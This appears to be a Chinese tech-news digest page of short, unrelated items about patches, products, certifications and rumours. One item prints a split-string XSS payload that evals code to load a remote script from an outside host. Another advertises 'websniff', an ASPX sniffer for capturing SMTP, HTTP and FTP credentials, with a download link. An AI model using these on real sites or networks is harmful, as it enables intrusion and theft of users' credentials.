针对互联网设计上出现根本性的保安缺陷,新加坡微软说,只要视窗更新保持在自动状态,视窗应该就会自动下载补丁和更新这个漏洞,用户不必过于担忧。

　　至于没有设置自动更新的用户,新加坡微软平台策略经理哈德曼劝请他们尽快下载补丁。微软8日在网站公布这项互联网技术问题,并在新加坡时间9日早上向本地视窗用户发出补丁。哈德曼暂时无法确知有多少用户下载了补丁。

　　会受这个保安问题影响的微软操作系统,主要是视窗2000、视窗XP和视窗Server 2003.微软最新的操作系统视窗vista则不受影响,因为它较早前发布的视窗vista补丁包已修正这个保安问题.补丁包是微软发布的产品更新的集成,包含系统稳定性、安全及其他方面的更新。

» 阅读全文

当你舒适地窝在沙发里，细细呷着一杯茶，花一分钟想象一下什么是未来的网络世界，就是你的电脑，你的手机，甚至你的电饭煲，都有一个 IP 地址，都在无处不在的网络当中。而且，更酷的是，所有的终端都有内置的多种语言查询功能，你还可以任意选择一个终端使用谷歌搜索！这个梦想将因 ipv6 ——一个新的互联网协议——而成真。谷歌已经推出了 ipv6 的中文搜索页面 ipv6.google.cn，这使得我们的梦想离我们更近。

» 阅读全文

苹果SuperDrive外置光驱专门为MacBook Air笔记本打造，也只能在该笔记本上使用，售价要99美元。

国外媒体今天放出消息称，一位黑客发现，只要更换SuperDrive外置光驱的一些部件便可让其成为一个通用光驱，便可与其他笔记本连接使用，而更换部件的费用只要9美元。

» 阅读全文

腾讯公司发布的基于Linux平台的即时通讯软件,
为Linux电脑用户带来更加快捷方便的聊天体验。

色彩丰富的界面

管理多个会话窗口

丰富的聊天表情

http://im.qq.com/qq/linux/

愈演愈烈的“山寨风”已经从手机、MP3等产品席卷到液晶显示器领域.记者近日走访市场时发现,“山寨”液晶显示器已经在本市的虬江路等数码电子产品市场现身.
价格低廉是“山寨”液晶显示器的最大卖点,15英寸的价格仅约500元左右,约相当于品牌液晶显示器一半的价格.但由于“山寨”液晶显示器无法提供规范的售后服务,以及所使用的液晶面板品质无法保证,业内人士提醒,消费者应慎购“山寨”产品.

“山寨”货大多是三无产品

出了轨交4号线宝山路站,向东拐进虬江路后,能看见沿街一溜都是以销售二手电脑等电子产品为主的商铺.记者走进一家门楣上印有“××计算机科技有限公司”的店铺,发现靠墙的货架上,除了陈列有各种二手笔记本电脑外,还摆放有五六台崭新的黑色液晶显示器,没有任何商标品牌的标识,仅在背后印有“MADEINCHINA”的字样.

» 阅读全文

最短的跨站语句是多少？要放在以前，我一定会这样想，正常的跨站代码：<script>alert("a")</script> ，查一下，一共27个字符。嘿嘿，不过，这之前我在《黑客手册》上看到了他的一篇文章，《疯狂的跨站之行》，在这其中提到了跨站语句的另一种方法：
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.pc010'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

» 阅读全文

7月31日,有媒体报道称,据知情人士透露,史玉柱正准备以5亿美元的高价洽购国内某网络游戏运营商,交易目前已进入到细节谈判层面.该媒体推断认为可能是久游.久游网副总裁吴军在接受专访时表示,此消息纯属谣言,久游目前经营状况良好,久游自己估值为10亿美元.

吴军表示,自己不知道公司近期会发生股权变动的事情,而且在现在的经济形势下,史玉柱不可能拿这么多钱进行收购,即使并购史玉柱也将会向关注行业的上游企业,比如研发团队.

　　吴军强调,就算史玉柱打算收购久游,这也不太现实,两家公司运营的游戏有很大不同,所以整合起来会比较困难,此外,久游的股权结构也使得收购很难实现.

　　对于上市问题,他表示,久游对于上市一直都有安排,上市地点除了日本,内地之外,也会考虑香港主板.目前上市的困难不是来自久游自身,而是由于资本市场不景气.

　　稍早时候,巨人网络公共关系总监顾建兵也向和讯IT表示,没有此事,并且近期巨人也没有大的并购计划.

易语言4.11版相对于4.10更新说明：对易语言编译器、开发环境、核心支持库的更新：
    1. 修改易语言编译器“‘调用外部DLL命令的程序’执行结束后未释放该DLL”的BUG，感谢易友企达软件。
    2. 修改易语言编译器编译动态链接库时提示“寻找指定库命令失败”的BUG。
    3. 修改易语言开发环境，在调试状态下允许通过双击设计窗口中的组件跳转到对应的事件处理子程序。
    4. 修改易语言开发环境“在窗体设计器中拖动组件导致GDI资源泄漏”的BUG。
    5. 修改易语言开发环境，解决了程序集名称过长不显示程序集名称选择夹的BUG。
    6. 修改核心支持库，窗口的“销毁()”命令改为通过PostMessage间接实现。

» 阅读全文

RealNetworks发布了4款危急补丁软件,修正在Windows、Linux和苹果Mac OS X上运行的数个版本RealPlayer中的缺陷.
据丹麦安全厂商Secunia在一份报告中称,这些缺陷使黑客能够在PC上运行恶意代码,或使PC泄露机密信息.RealNetworks发布了一个表格,详细说明了哪个缺陷会影响哪个版本的RealPlayer.一些用户可能需要下载全新版本的RealPlayer,另外一些用户则只需下载补丁软件即可.

Secunia表示,一个缺陷与SWF文件的帧处理方式有关,这一缺陷是由设计错误造成的,会引起堆缓冲区溢出;当用户导入一个媒体文件时,另一个缺陷会造成栈缓冲区溢出;第三个缺陷使得黑客能够访问用户PC上的资源;第四个缺陷与 ActiveX有关,能够被黑客用来破坏RealPlayer的内存.

Secunia对这些缺陷的安全评级为“高度危急”.

http://www.sebug.net/s.php?w=RealPlayer&t=1

程序说明：
    user权限的aspx rawsocket sniff，可用于smtp,http,ftp敏感信息获取。

功能特点：
    可过滤端口，关键字，包大小；
    结果以Tcpdump/wireshark格式保存，生成的rar文件 直接用wireshark打开；

下载地址：http://www.cncert.net/up_files/soft/websniff1.0.rar

全球最难、最具含金量、最受尊敬的认证之一——ccie——即将迎来思科认证系列中一位新的同样是“E“级别(Expert，专家)的伙伴：ccde。
根据思科跟踪系统来看，ccde和ccie同样，具有一个全球唯一的编号，而且和ccie的编号是独立的，截止7月24日，ccie编号已达21XXX，诸位有志挑战高峰的工程师们，有没有去挑战一下ccde的#1025的兴趣呢？

思科邮件大致翻译如下：

思科现在允许参加“思科认证设计专家实际考试”的beta应试者注册。

» 阅读全文

团部领导：

    团长：刘鹏

    副团长：于再清、段世杰、肖天、崔大林、蔡振华

    秘书长：崔大林（兼）

    副秘书长：孙康林、孙永言、于晨、殷宝林、张洪涛、杨廼军、宋晶、倪会忠、宋鲁增、郭建军、潘志琛、刘扶民、张剑、史康成、蒋志学、张海峰

» 阅读全文